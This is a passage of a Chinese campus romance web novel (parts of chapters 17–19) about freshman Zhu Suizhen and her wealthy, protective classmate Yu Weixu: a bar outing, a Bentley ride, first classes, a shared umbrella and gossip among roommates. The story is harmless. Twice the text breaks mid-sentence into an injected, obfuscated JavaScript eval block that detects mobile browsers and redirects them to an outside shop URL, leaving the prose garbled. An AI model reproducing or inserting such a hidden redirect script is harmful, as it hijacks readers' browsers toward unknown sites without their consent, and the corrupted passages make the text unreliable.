街边酒吧劲歌热舞,路旁游人欢声笑语,但祝岁祯都听不见了,她抬头看着俞惟叙: “为什么?你跟这酒吧老板有仇?” “没有。酒吧不许进,不可以在外面喝酒。”他态度依旧冷硬。 “呵,”祝岁祯被气笑了,“俞惟叙,你是不是太闲了?管这么多?” 他挑眉:“这是我作为同班同学的义务。” “你最大的义务是别管闲事。”祝岁祯立刻驳回。 “行,”他点点头,拿出手机,“我不管,让会爷管吧。” “哎你这人!……” “我这人关爱同学,善良热心,特别好。”俞惟叙知道她急了,更淡定了。 “你大学生了哥们儿,还打小报告啊!幼不幼稚?” 他无所谓道:“随便,只要管用就成。” 祝岁祯又被他用同一招对付,简直快气死:“我也随便!我就不信导员还会理这种小事。” “嗯,那咱们试试看。像你这种有‘前科’的,绝对是院里重点关注对象。” 祝岁祯强装镇定,其实心里纠结得要死,前些天会爷还专门转发给她学校心理咨询室的地址和联系方式,建议她定期去做咨询辅导。 她好不容易才糊弄过去,不能再让俞惟叙提醒导员了!万一“建议”变成了“任务”可怎么办…… 梦梦和远文走过来问:“为啥不进去啊?怎么了?” 祝岁祯用只有他俩能听见的声音,咬牙切齿地说:“不去了行吗!别找导员!” 俞惟叙眼中闪过一丝得意,收起手机。 见她舍友过来,俞惟叙淡然地对两人说:“别让她喝酒,上次军训晕倒,忘了吗?” 远文迷茫地说:“跟酒吧有关?” 梦梦:“哦,你是怕祯祯喝酒出事吧?” 他补充道:“你俩也别在这儿喝,哪有免费送酒的好事,都是骗你们这些漂亮小姑娘的,小心坏人把你们灌醉了拐走。” “不至于吧……”梦梦无奈。 “走——走——走——”俞惟叙像赶羊一样把三人往前赶,“明儿一大早就要上课,别喝了,早点儿回去洗漱休息,都不累吗逛一天了……” 俞惟叙像老和尚念经一样,把三人给念叨走了。 四人按着导航抄近道,祝岁祯这次跟远文走在一起,把俞惟叙扔给梦梦来对付。 这下身后可热闹了,梦梦是个健谈的人,跟他讨论酒吧里的酒度数低,而且还有别的饮料,祝岁祯进去玩也没事。 而俞惟叙就只有一个中心思想:总有刁民要害你们。 同时他还让祝岁祯的舍友监督,不许她去外面喝酒,要喝的话也只能在宿舍跟女生喝,毕竟她精神比较脆弱。 祝岁祯:……我这是造了什么孽。 其实祝岁祯想跟着梦梦去酒吧,只是为了长点见识,而且店员又说能给她免单,她觉得不会花梦梦钱才进去。 酒,她是不会多喝的。 从小到大,爸妈就隔三差五给她灌输各种知识,时不时转发一些社会新闻给她,生怕自家白菜被猪拱了。 甚至爸妈还说,她如果未成年就敢抽烟喝酒烫头早恋堕胎什么的,腿给她打折。 祝岁祯每次都嗤之以鼻,不屑一顾,爸妈才不舍得。但她心里跟明镜似的。 她分得清什么事该做、什么事危险,其实她是个风险重度厌恶型的人。每次出门,都会给自己配置千八百个心眼儿,提防着坏人。 至于刚才嘛……她知道俞惟叙是好意,但不喜欢他管这管那的。长得帅又怎样呢?这种富二代跟她不会有任何关系,不会是她的谁。 别觉得帮过她一两次就可以对她指手画脚了,她又不是什么都不懂的傻子。 走到停车场门口,祝岁祯就和远文慢下步伐,让俞惟叙和梦梦走前面带路,直到俞惟叙拿出车钥匙,遥控开锁。 斜前方一辆黑色的车子亮了下灯,接受主人的召唤。 “哦莫!宾利!!!” 梦梦腿脚也不疼了,眼露精光健步如飞冲上前去。 “什么!这是宾利!”远文也赶紧跟上。 祝岁祯默默跟在俞惟叙身后,打量着这个看起来很老钱的车子。 宾利吗?原来这就是他妈妈的那辆车,确实很有稳重、商务的范儿。 “鱼仔!你家还有什么豪车!”梦梦激动地问。 “豪车……我家没什么豪车。”俞惟叙云淡风轻地开始装低调。 “拉倒吧你!我说的不是那种几千万全球限量的超跑!也不是迪拜那种纯金劳斯莱斯!就这个水平的车,宾利、法拉利,还有啥?” “呃……没什么了,玛莎拉蒂?之前我妈开的那辆,现在扔车库了好久没碰过。别的车不开就处理掉了。” “哦……你妈妈平时开这个车吗?” “对,这车她自己开。但是有工作的话就让司机接送,公司里停了辆A8是她的。” 眼见梦梦就要拉开副驾驶门,俞惟叙上前一步挡住了,给她打开后车门: “来,lady,这边请。” 梦梦羞涩地进去。 俞惟叙给她关上门,然后回头看向在车前站着的远文,指了指后座另一边:“坐吧。” 把那两个女生都安排好,他转身拉开副驾驶门,看着一路都不说话的祝岁祯,做了个“请”的手势,低声道: “公主殿下,请上车。” 祝岁祯没绷住,笑了出来。 “什么鬼。” 俞惟叙眼含笑意,仍旧低声只让她听到:“副驾专属的仪式感。” 祝岁祯的心里,像被羽毛轻轻挠了一下。 “谢了。”她把双肩包取下抱在怀里,坐了进去。 梦梦在车里咔咔拍照,俞惟叙坐进来后,祝岁祯一边系安全带,一边看他行云流水地发动车子。 “鱼仔,你家大老板为什么要换宾利?我觉得玛莎拉蒂更好看欸。”梦梦扒着祝岁祯的椅子凑过来问他。 俞惟叙的头扭了个角度,话是对梦梦说的,脸却看着祝岁祯: “那个车的车标,不是个三叉戟吗?她说越看越不喜欢。宾利的车标是个小翅膀,我妈说希望公司腾飞……嗐,其实就是给自己找个借口买新车。” 祝岁祯特别爱听他讲他妈妈的故事。 他又说:“她这人喜欢讨个好彩头,买大件东西会想想有没有什么寓意。之前说宾利的小翅膀左边10根羽毛,右边11根,加起来21根,她刚好又是21岁开始创业,然后就觉着这车是为她而生的。” 他坐好系安全带,把仪表盘翻转过来点屏幕播放歌曲,密闭空间里环绕着高级音响里流淌出的音乐,高低频把耳朵震撼到极致。 祝岁祯瞬间想把她那便宜耳机扔了……原来自己以前是个聋子啊。 坐在超级舒适的真皮椅上,从鼓楼大街往北,一路都有行人在看这辆车,目光往车里打探。祝岁祯本来有点不自在,但转念一想这是晚上,外面看不清。 车子开了二十来分钟,就到了M大门口。停在学一宿舍楼下后,祝岁祯和舍友们下来,不出意外地收获了许多注目礼。 因为返校,门口比军训时热闹多了。好几对情侣在聊天、抱抱,军训时可没有这种景象。 “鱼仔,谢谢啦~你还要回你爸妈那里吗?”梦梦下车后,在车窗外和俞惟叙道别。 “对,把猫送回去。你们早些休息啊。” 祝岁祯下车后也绕了过来,俞惟叙看着她说:“明天见。” “明天见,拜拜~”三人挥手回宿舍,在众人的目光中刷卡进门。 -.- 正式上课的第一天,早八。 祝岁祯和远文去食堂吃饭。梦梦和小羊一个不吃、一个在宿舍啃面包,比祝岁祯她俩先到教室。 小羊昨晚让大黄今天一早去给两个宿舍占位置,大黄拿了七八个抽盲盒抽出来的宝可梦小玩偶,前面四个、后面四个,让神奇宝贝们守护座位。 祝岁祯和远文高估了自己的进食速度,把餐具送到回收处之后,从食堂疯了一样地冲出来直奔主教学楼215。可是大教室里乌泱泱坐了许多人,绝对比金院人数要多。 “我去!不会看错教室了吧,这是咱的课吗?”祝岁祯急忙在手机上查课程表,突然脑袋被轻轻敲了一下。 “快上课了还不进去,等什么呢?” 是俞惟叙的声音。 “哎哟,救了大命了,我以为走错,怎么这么多人。”祝岁祯跟着他从后门进。 “这是和精算学专业一起上的大课。这儿,你俩的位置。”俞惟叙给她指了指自己前面那排。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313091|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “多谢。”大黄占的位置不错,她俩不用翻山越岭地进去,直接能坐下。 在祝岁祯从书包里拿东西出来的时候,俞惟叙不露痕迹地扫了眼周围,很多外院的扭头看她,眼里全是惊艳。 开学第一节课就是硬课:数学分析。好在暂时还不算难,都是些实数集、函数的基础概念和性质,记一记就完事了。 祝岁祯跑神儿环顾周围同学,发现有一大半的人都不带课本,拿笔记本电脑或者Pad来上课,不像她,还得天天看课表换书,背来教学楼。 哇,厉害啊,她也准备这么干。 “他们的课件都是哪里找的?老师给的吗?”祝岁祯悄悄问舍友们。 “你要吗?我发你。”小羊直接隔空传送给她PDF。 “嚯,多谢,感恩的心。” 本来纠结了一下,是带电脑呢还是带pad呢?但看了看数分这门课的一大推公式和希腊字母,她觉得还是用pad吧,打字太费劲。 可那个ipad pro,是路齐江的遗物。 她之前想还给路齐江爸妈,毕竟是一万多的东西。但斟字酌句了半天把消息发给路爸,结果屏幕上出现软件提示,两人已经不是好友了。 红色的感叹号刺眼地提醒她:放下过去。 其实要找到他爸妈、把东西还回去并不是件难事,县城就那么大,他家又有个很知名的厂子。但这是路齐江给她的唯一一件东西,祝岁祯太想留在手里了。 就当是他陪她一起上学吧。 下课,祝岁祯拿着水杯起来,顺便去趟卫生间。冷不丁瞧见俞惟叙低着头看iPad,屏幕上密密麻麻全是英文。 像满屏病毒在攻击她的眼球,真可怕,她赶紧离开。 刚走了半步,衣角就被人拽住了。 她回头一看,俞惟叙把桌子上的水杯递给她:“帮我接点水吧,没拿校园卡。要凉的,谢谢。” “哦。”她接了过来。 再回教室,俞惟叙旁已经站了仨女生,跟他聊牛津交换面试问了什么,有一个女生直接占了她的位置。 祝岁祯默默地把两个水杯放在自己位置上,站在旁边低头玩手机。 “你先让一下,人回来没地儿坐。”俞惟叙见祝岁祯居然就那么站着,开口提醒面前的女生。 “哦哦,抱歉。”那女生趁着出来的间隙,近距离看了眼祝岁祯。 “没事。” 祝岁祯坐下后,本来想把俞惟叙的杯子给他,但几个女生还在身后,她就没去打断她们聊天。 俞惟叙的水杯还是之前军训用的那个,据说是镀银的超贵的牌子。但祝岁祯的换了,原先杯子太大,放不进书包的侧兜。 新杯子是韩国星巴克夏日限定,奶蓝色的小保温杯,上面画着明黄色的柠檬。梦梦送她的,为了答谢她陪着到处玩。 快上课了,老师进入教室继续讲上节课的内容。俞惟叙让女生们快回座位上,然后轻轻戳了下祝岁祯的背。 “杯子。” 祝岁祯递给他。 俞惟叙接了后,看了眼她的桌子:“哟呵,换新杯子了。” “梦梦给的。” 本以为对话到此结束,谁知俞惟叙笑道:“怪不得。看看人家的审美,再看看你的。” 祝岁祯小发雷霆,低声怒道:“以后接水别找我。” 她扭回去后往前坐了坐,和后桌拉开距离,虽然只是没什么用的十几厘米。 俞惟叙低头偷笑。 数学分析上完之后是大学英语,军训前有英语分班考试,快班可以早考四、六级。 祝岁祯和小羊在快班,跟另两个舍友不在一个教室了。大黄宿舍除了俞惟叙不用学,其他全在慢班。 快班教室在教学楼另一侧的303,祝岁祯收拾书包,等小羊从座位里面出来。 “哎?你俩快班是吗?带上我。”俞惟叙抄起pad和水杯就要跟她们走。 鸡哥震惊:“你个免修的留子,去个毛的快班,当助教?” 俞惟叙理直气壮:“好奇,去看一眼凑个热闹。不儿老子交学费了怎么就不能去?” 箫剑坏笑道:“想在妹子面前秀优越吧哈哈哈,让人都知道你小子雅思满分。” “哥的优越不需要秀~”留下拉满仇恨的一句话,俞惟叙飘然而去。 18. 第十八章 两门课的课间,是M大上演“非洲动物大迁徙”的时间,几乎所有学生都要离开原先的教室,去教学楼或者其他学院楼的另一间教室上第二门课。教学楼电梯爆满,步梯上上下下也全是人。 本来小羊又高又白已经很吸睛了,可她身后的一男一女,又让周围的同学们眼前一亮又一亮。 一张伟大的脸之后,是另一张伟大的脸。 经过祝岁祯和俞惟叙的学生们冷不丁看见他俩,都愣住了,有的人差点儿踏空楼梯。 但三个人只顾着上楼看路,没工夫管别人。 “鱼仔,你还真要去上课啊,我要是你我就回家,美美躺床上。”小羊抽空扭头跟他聊天。 “好奇呗,先听听M大的英语教学水平。要是讲得有意思可以再来。” 小羊笑着说:“我估计你听了十分钟就要跑了。” 俞惟叙帮她看着前面的路:“不会,好歹把第一节上完再走。” 英语课的小教室每排两边靠墙有三个座位,中间四个座位。小羊直接挑了最后一排靠着墙坐,此处隐蔽,上课可以继续看她在追的惊悚悬疑小说。 祝岁祯要挨着她,俞惟叙就只能坐在外面。 老师还没来,俞惟叙拿起祝岁祯的水杯晃了晃,里面只剩了个底。 “我帮你接水吧。” 祝岁祯惊讶地看他。哟呵,富二代不使唤人了,竟然主动帮她接水?作为久经考验的资本主义战士,还算有点良心。 她回道:“哦哦,好,谢谢。” 俞惟叙伸出手。 祝岁祯愣了一下。 “校园卡~”俞惟叙无奈笑笑。 “哈,我以为你要小费呢。”祝岁祯从包里掏出来放他手上。 “这杯水就当小费吧。”俞惟叙拿着两个杯子离开教室。 英语课开始,俞惟叙听了一会儿就低下头看他的ipad了,在上面写写画画。 因为是快班,对学生的要求要高一些,老师会用英语教学,比较难的句子再用中文给大家解释一下。祝岁祯这节课听得特别吃力。 第一节下课,祝岁祯像被抽干了,无力趴在桌面对小羊说:“完蛋了,我应该去慢班的……” 小羊起身去卫生间,拍了拍她:“没事,我也听不懂。” 她又看了眼俞惟叙,这个逆天的家伙还在看他的ipad。屏幕上依旧是英文学术期刊,还穿插一些很高级的模型流程图。 “这啥啊,好复杂。” 俞惟叙看了她一眼:“牛津任课老师的论文,提前了解老师们主攻什么方向,去了可以找他们带我做些课题项目。” 祝岁祯有点悲哀地想:这就是人与人的差距。 他突然问:“中午吃什么?” “食堂。” “啧。”俞惟叙有点不太满意似的,在手机上捣鼓几下。 祝岁祯手机屏幕亮起,她点开消息,俞惟叙给她发了个链接,是家五道口的墨西哥餐厅。 “下午没课,咱俩午饭去这儿吃吧,我请。” 祝岁祯见这家人均消费一百多,想了想:“好啊,但是我请客吧,还你昨天那顿。” 俞惟叙很坚持:“不行,我请。” 她放下手机:“不让我请,我就不去了。” 他解释道:“这次是我主动提出来的,应该我请客。你想请客的话,下次吧。” 祝岁祯摇头:“两顿饭加起来,人均消费就太高了,我没钱。下个月还要给远文过生日,我得留出来预算,开学花钱事好多呢。” 俞惟叙扶额。 他其实已经参考了昨天她们宿舍的人均,才选了这家离学校近的餐厅,只是当个填饱肚子的便饭而已。就这点儿消费,他根本没想过让她还。 本以为两人军训这些天相处下来,应该算熟人了吧,可她还是这么见外。 祝岁祯实在不想再欠他人情了,说:“我还是吃食堂吧。你去英国之前有什么想吃的餐馆,告诉我,我请客。” 俞惟叙叹口气,百无聊赖地点进这家餐厅的外卖界面,给自己选了销量最高的taco、意大利面和沙拉。 小羊回来后看见俞惟叙竟然还在,问:“怎么?咱老师讲得很好吗?你还准备听第二节?” 俞惟叙拿上自己的东西:“这就准备走了,拜拜。” 下午,宿舍没开灯,阴天的氛围感刚刚好。 小羊美美地睡觉。梦梦戴着她刚买的爱豆同款apm头戴式耳机剪视频,从背后看简直就是专业的电影工程师。远文在搜集家教兼职,M大在北京算是不错的院校,家教兼职的需求和时薪也还行,随着经验的增加,收费还能涨一涨。 祝岁祯在复习上午的数分,把作业搞定后又往后预习了一章。然后开始做计划背课本的单词,顺便把备考四级列入每日计划。 英语的学习没办法一口吃个胖子,需要持之以恒。就连俞惟叙,也是从小培养才有的母语水平,看专业论文无压力。祝岁祯暗暗把他当作榜样和目标,决定一步一个脚印地踏实努力。 晚上有两节金融专业概论,这学期整个金融学院的任课老师们都会来给大家上一两次课,每位老师都有自己擅长的专业方向,也能让大家在大一就早些发现和培养兴趣,为以后深入研究打个基础。 班长把今天的课程ppt要了过来,发在群里。祝岁祯拿出路齐江的ipad充电,买个做笔记的软件导入课件,跟舍友们上课去。 第一堂课是金院的院长任教,教学屏幕上是院长的光辉履历。 什么P大本科、T大硕士、美国访问。主持什么基金、获评什么奖项、入选什么计划、在国内外重要期刊发表过N篇文章…… ppt的篇幅限制了院长的发挥。 因为是概论课,院长也不好讲太多干货。经验丰富的院长也知道照着ppt念的话,学生多半会睡着,于是讲了很多自己上学和工作中的趣事、在国外的经历,连俞惟叙这种见多识广的也认真听了听。 两节课下来,八卦故事听爽了,人也精神了,一口气走回宿舍不费劲。 可是到教学楼门口,祝岁祯就发现,一口气走回宿舍还是费劲的——下雨了。 大门内外站了约莫三四十个学生,有的等朋友来救急,有的等雨停,有的直接转身到地下一层教室自习去了。 小羊带了雨伞,和大黄双宿双飞。梦梦下午只顾着剪视频,没听见远文的提醒,赶紧去蹭远文的伞。 祝岁祯刚把伞上的魔术贴撕开,就听见旁边有人清嗓子似的咳了两声,非常刻意。 她抬眼一看,是俞惟叙。这人看了看她手上的伞、又看了看她、再看看她手上的伞。 身后鸡哥和箫剑哀嚎:“有女朋友的人真是太幸福了……苍天呐赐我一个女朋友……” 祝岁祯回头看了他俩一眼,发现男生真的很不爱带包来上课。基本都是拿一两本书、书上夹根笔、屁兜里插个手机,就这么来上课了。 女生一般都会带个包,里面装些日用品。像她夏天常备遮阳伞,现在就派上用场了。 她再看俞惟叙,这个人也不带包,手里ipad、水杯、手机,没了。 外面的雨好像有越来越大的趋势,路灯下的雨由点变成线,地上砸出的水花也扩大了直径。 她犹犹豫豫地,想着是不是应该分俞惟叙一半伞,毕竟人家帮过自己。但刚才他舍友那句话,让她有些不好意思,搞得他俩有什么似的。 她又悄悄看他一眼,这人依旧沉默地看着她的伞,好像就这么看着,伞能再变一个出来。 俞惟叙目光又移到她脸上,四目相对。 祝岁祯只好说:“呃……你……要一起……吗?” “要!”俞惟叙立刻回答,生怕她后悔了一样,迅速把手机放口袋里、水杯装进她书包的侧兜,“我来撑伞。” 接过她的伞,俞惟叙回头对舍友们邪魅一笑:“拜拜了您内。” “卧槽!鱼仔!你个@#¥%&*!” 俞惟叙在舍友开口前就按住了祝岁祯的书包,带着她往门口走。踏进雨幕的一瞬间,自动雨伞“啪”一声展开,把舍友们的怒骂都抛在身后。 雨夜,二人,一伞。 不知道俞惟叙怎么样,反正她是觉得,伞下这方小小的空间,着实有点暧昧了。 她的伞不算大,要想拉开些距离,不可避免地要淋些雨。 淋就淋吧,夏天这点儿雨没事。 “挤到你了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313092|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?往里点儿。” 俞惟叙时刻关注着她,见伞沿的水滴落在她肩上,大手抓着她书包,把人往自己这边送。 祝岁祯有被小小地吓了一跳,肩膀尖儿撞在他胸膛。 “没事,还好。” 俞惟叙手没拿走,就这么放在她书包上。身子微侧,防止两人并排走伞不够用。 好嘛,更暧昧了……这该死的雨。 祝岁祯尴尬地盯着雨伞前面的扣带,随着两人的步伐一甩一甩。幸亏下雨大家都打着伞,没人往这边看。 中午吃饭的时候,小羊和梦梦说许多高年级的学姐在打听俞惟叙——长得实在太帅,新一任校草没跑了。 原先校草是大四的,靠拉二胡特长进来,今年应该会保研本校。学长仗着帅气,女朋友不知道换了多少,快把学院路这些高校都集齐了。 但俞惟叙的脸实在是毫无疑问的传奇级别,个高腿长肩宽腰窄,再叠加有钱、高智商双重buff,已经迅速成为M大女生心中的顶流,童话故事中的白马王子居然真的出现在身边。 祝岁祯当时想,幸好中午没答应他出去吃饭,万一成为女生公敌就不好搞了,她只想平安无事地过完这四年。 “你老家那边雨多吗?”俞惟叙的声音带着气流,拂过她的耳廓。 这气息太撩人,祝岁祯恨不得自己变成一只猫,灵活调整耳朵的位置躲开。 她微微歪了歪头:“还好吧,虽然在南方,但不算多。” 他问:“你来北京,是不是觉得气候特干燥?” 祝岁祯突然想起来个事,点头道:“对对,报到那天晚上,我坐在床上玩手机,突然看见被子上出现一小片红。等我仔细看的时候,又出现了一个!原来是太干燥,我鼻子流血了……” “你这也忒吓人。” “哈哈,对啊,我还以为我怎么了呢,自己吓自己。” 俞惟叙回忆道:“我以前放假回国的时候,也得适应两天。小时候皮肤嫩,秋冬回来我妈就把她剩的面霜抹我脸上。后来皮厚了,就没这待遇了。” “皮厚……伦敦比北京湿润吗?” “对,但是应该没有南方润。我只去过广东和港澳,这仨地方比伦敦湿一些。” 她想了想:“听说伦敦一年四季阴天下雨?” “也不是。秋冬会比北京雨多阴天多,夏天好些。” 俞惟叙还要说什么,手机响了起来,一看,他老爸。 祝岁祯帮他拿ipad。 俞况:“你明天还去上课吗,找你吃顿饭呗?明天我去中关村校区。” 俞惟叙:“明天?好像有一门想去听的课,政治经济学?那是什么时候来着……”他看着祝岁祯问道。 祝岁祯晚上刚好从群文件里下载了明天的课件,对上课时间有印象,小声说:“下午后两节。” 俞惟叙:“哦,那中午吃饭吧。” 俞况:“旁边有人?” 俞惟叙:“嗯,同学,刚下课。” 俞况:“海淀下雨了吧?你是不是又没带伞。” 俞惟叙:“蹭别人的伞。” 俞况:“哦。明天我到了给你发信息。” 俞惟叙:“好。” 俞况:“哎哎,等一下,明天记得把我的那个键盘拿来,别老是顺我的东西。” 俞惟叙笑道:“那都多少年前的老款了,现在有新的,才两三千块钱,我给您下单行不?” 俞况:“不——行——我就习惯用那个,辛辛苦苦从日本背回来的绝版。” 俞况:“你说的新版我试了,组里有学生用,不习惯。” 俞惟叙:“好吧好吧,哎呦真是小气。” 挂了电话,俞惟叙告诉她,他老爸在中关村的科大有教学任务,明天过来上课,顺道找儿子吃饭。 转眼到了祝岁祯宿舍,俞惟叙把她送到门口。刚收了伞,他惆怅地看着外面的雨幕。 祝岁祯记得宿舍到家属区还有段路,如果不打伞肯定要被淋透,刚才这一路上俩人白挤了。 她摆了摆手:“伞你拿着吧,明天不是还来上课么,到时候还我就行。” 俞惟叙绽开笑容,在雨夜里灿烂得耀眼:“谢谢啦!” 19. 第十九章 进了宿舍,她一边上楼一边看手机,聊天软件页面显示,又有六个新增的好友申请。 唉…… 从上午英语课开始,就陆续有人加她好友,到现在得有四五十个人了。 她本来还纳闷,金院的新生她基本上都加完了,这些新申请都是哪儿来的?不会是诈骗吧? 祝岁祯假期里拿到录取通知书之后,就进了学院的新生群,因为进得晚,被同学们合伙骗着爆了照,紧接着呼呼啦啦几十号人加她好友。 俞惟叙报到那天,为了换学生卡才给她发好友申请,这都算晚的了。 祝岁祯中午通过了几个,聊两句一问,全是别的学院的,从本院的同学要了联系方式。 毕竟她只加了金院的新生群和班群,外院的、金院高年级的人想加她,是找不到她人的,只能通过别人推名片。 加了女生倒还好,都是可可爱爱、很有礼貌的女孩子。但男生就很难评,变着法儿地想约她出去自习/锻炼/吃饭/看电影,用的话术幼稚且无趣,甚至有人还颇为冒犯。 本姑娘认识你吗?上来就约这约那的?都说了要做作业、要上课,没空,看不出是拒绝吗?真无语啊…… 路齐江要是还在就好了,肯定没这些妖魔鬼怪来打扰她。 因为下午要学习,她索性不再通过非本院的男生,没写备注、不说明来意的,一概不理。 回到寝室,她刚把书包放桌上,就看到了侧兜里俞惟叙的杯子。 呃…… 她拿起手机,搜索他的名字发信息。 祝岁祯:【你杯子忘了拿……明天给你带过去吧】 这时,一个女生跟着梦梦进来,两人用家乡话聊天。 祝岁祯大概听懂了,她们在聊俞惟叙,因为昨天梦梦跟他吃过饭,所以那个女生很好奇,来问他是个怎么样的人。 梦梦对俞惟叙评价极高,仅次于她的爱豆老公,然后那女生就很激动地想通过梦梦来加他好友。梦梦自然不会拒绝老乡学姐的要求,把俞惟叙推给她。 学姐开心地发了申请。 这时,祝岁祯手机收到消息。 俞惟叙:【抱歉,只顾着借伞。明天帮忙带去教室吧】 祝岁祯:【OK,一手交货、一手交货】 俞惟叙:【需要接头暗号吗】 祝岁祯:【不用,人脸识别即可】 敲定之后,她把杯子从侧兜拿出来,放桌子上,刚好听见梦梦在对学姐说俞惟叙用的杯子八千多,还给她看了购物软件的图片。 两人开玩笑说富二代在防投毒,毕竟是镀银的款式。 学姐又刷了刷手机,抱怨道:“这俞惟叙在干嘛啊,为什么不通过?” 祝岁祯扭头看学姐一眼,犹豫要不要说她刚跟俞惟叙聊完,应该很快能通过学姐的申请。 但那学姐注意到她的目光,望了过来,瞬间愣住。 “你是那个……那个叫什么来着……” “祝岁祯。”梦梦提醒。 “哦哦,你就是那个美女学妹!哎呀我老早就听说你了!来来来加个好友!” 见她过来,祝岁祯赶快把俞惟叙的杯子往书桌角落放放,拿一个帆布包挡了下。 “你可有名了知道不?回头有人想加你好友,我就把你名片发过去,你记得通过一下。” 祝岁祯脸上陪着笑,扫了学姐的二维码,心里叫苦不迭。 她就是这么被“卖”的! 可没办法啊,这是学姐……而且以后或许有需要人家帮忙的地方,拒绝是万万不可的。 见俞惟叙还是没动静,学姐让梦梦跟他私聊说一下。梦梦表示以她和鱼仔的关系,完全没问题。 但直到祝岁祯洗漱完爬梯子上床,俞惟叙都没通过,梦梦猜他可能有什么事没看手机,等明天上课跟他当面说。 学姐只好先回去,祝岁祯正躺着用手机软件刷单词,辛君学长私聊她,问她第一天上课感觉怎么样。 祝岁祯跟他客套地聊几句,随后辛君就又提了让她报媒宣部的事,他今年大概要当副部长了,想提前给祝岁祯一个部门干事的名额。 可现在她脑子里,全是俞惟叙那天在宿舍楼下说的话,搞得她不想进媒宣部了。 但如果为了学分去报别的部门,万一被学长知道,人家肯定不高兴。 算了,不去学生会了,她就一门心思搞学习吧,把绩点刷上去才是王道。 做了决定之后,她就开始找理由,跟辛君说自己社恐,现在跟班里、院里的同学打交道都费劲,更别提去学生会了。 辛君竟然说她可爱。 祝岁祯:…… 他说祝岁祯长得乖乖的、说话乖乖的、连性格都这么乖,实在太可爱。 祝岁祯心里想的是:学长您要是喝醉了就早点睡呢? 她肯定不能这么说,可他发来的信息又实在没眼看,祝岁祯灵机一动,开始聊他女朋友,试图提醒他是个有对象的人。 这招果然有效,而且时间也不早了,祝岁祯很快结束掉聊天。 绝了,下次再也不跟他聊这些废话,浪费精力。 她正准备睡觉,俞惟叙又发来一条消息: 【我明天只去下午的政治经济学,别早上就把杯子带去了】 祝岁祯:【OK】 随后,她想到什么,坐起来问斜对面床铺:“梦梦,俞惟叙回你了吗?” “我看看啊……没有欸。” “哦……” 她看了眼聊天界面,纠结了一下,决定还是不要多事。 第二天祝岁祯去教室一看,大黄果然没给俞惟叙占座。 梦梦来的时候没抓到俞惟叙,别提多失望了,只能给学姐发消息说他今天没来上课。 祝岁祯也不好说什么,毕竟她跟俞惟叙“同病相怜”,完全懂俞惟叙不搭理人的做法。 那么多人哪里聊得过来啊,要么别加,加了就得跟人好好说话,太累。况且俞惟叙是富二代,更看不上她们这些普通人家的同学了。 上午一门高数、一门军理,下午体育课快结束的时候,大黄过来跟她们说,俞惟叙去教室帮忙占座了。 舍友们下课后都回宿舍换衣服,但祝岁祯因为太懒,来足球场的时候背了书包,直接去教学楼。 刚进教室,就目击了俞惟叙拒绝一个女生的场面…… 她在心里给美女点了根蜡。 女生走后,祝岁祯去他用她的雨伞占好的位置,然后把水杯从书包里掏出来给他。 看了眼这四个位置,她挑了最靠里面的那个,让舍友们一会儿方便坐。 俞惟叙本来在她后面一排靠走廊的位置,见她坐在里面,挪了位置也坐在里面,她的正后方。 祝岁祯听见动静,好奇地回头看了眼,俞惟叙从抽屉里拿出一瓶椰子水,递给她。 “你是不是喜欢喝这个牌子的?” 她瞪大眼睛:“你怎么知道?” 俞惟叙挑眉笑道:“上次你去我那儿,周梦津说的。” “哦……”她想起来了。 俞惟叙竟然记得。 “拿着吧,谢谢你借我伞用。” “客气啥。”她接了过来, “呃,”她没话找话,“昨天有个学姐来我们宿舍,说想加你好友。” 俞惟叙立刻反应过来了:“她和你舍友知道咱俩聊天吗?” “不知道。” “那就好,别跟她们说,咱聊咱的。” 祝岁祯心想,原来你也怕被拆穿啊……但这种偷偷摸摸的感觉怎么这么不对? “哈哈,看来你最近被不少妹子告白吧?”她笑道。 俞惟叙扶额:“别提了。你呢,也一样吧?” 祝岁祯顿了顿:“没有。” 俞惟叙眸光一转,根本不信:“不可能,手机给我看看。我这儿都快炸了,你那儿能安安静静?” 她心虚地转回去:“没有就是没有……” 俞惟叙手指轻轻戳了一下她肩膀:“好好学习听见没,别傻不愣登的跟那些男的聊天。” “你才傻!”祝岁祯气结。 这俞惟叙到底什么时候去英国?赶紧走!管天管地管空气,还管她跟谁聊天呢? 两个宿舍陆续到齐,鸡哥来的时候看见俞惟叙在,突然想起昨晚: “鱼仔你个叛徒!竟然蹭妹子的伞!是男人就跟我们一起淋雨!” “啊?啥呀?他蹭谁的伞?”梦梦好奇扭头。 “祝岁祯啊!你们不知道吗?” “什么!!!”舍友们三脸震惊。 祝岁祯尴尬道:“就打个伞而已……至于吗你们……” 箫剑坏笑道:“当然至于了,男神和女神……都是单身……共撑一把伞……” 鸡哥说:“哎不过祝岁祯之前不是说,这四年都不谈么,可惜,昨晚那场面,真跟偶像剧似的。” “鱼仔暂时也谈不了吧?他不得去英国?”梦梦说。 鸡哥笑道:“人家是想去国外谈吧?洋妞儿那身材~” 小羊鄙视地看他:“脑子里装的什么?鱼仔这种富二代肯定商业联姻啦。” 鸡哥不服:“谈恋爱是一回事,结婚那是另一回事,我们男人分得可清了。” 大黄急了:“哎哎,说啥呢,我谈的可是想结婚的。”说完,看了小羊一眼。 小羊挑了挑眉,不置可否。 箫剑举手:“我也跟你不一样,别带我。” 鸡哥震惊:“大黄就算了,你跟我装什么清高?今晚不跟你双排了,滚蛋。” 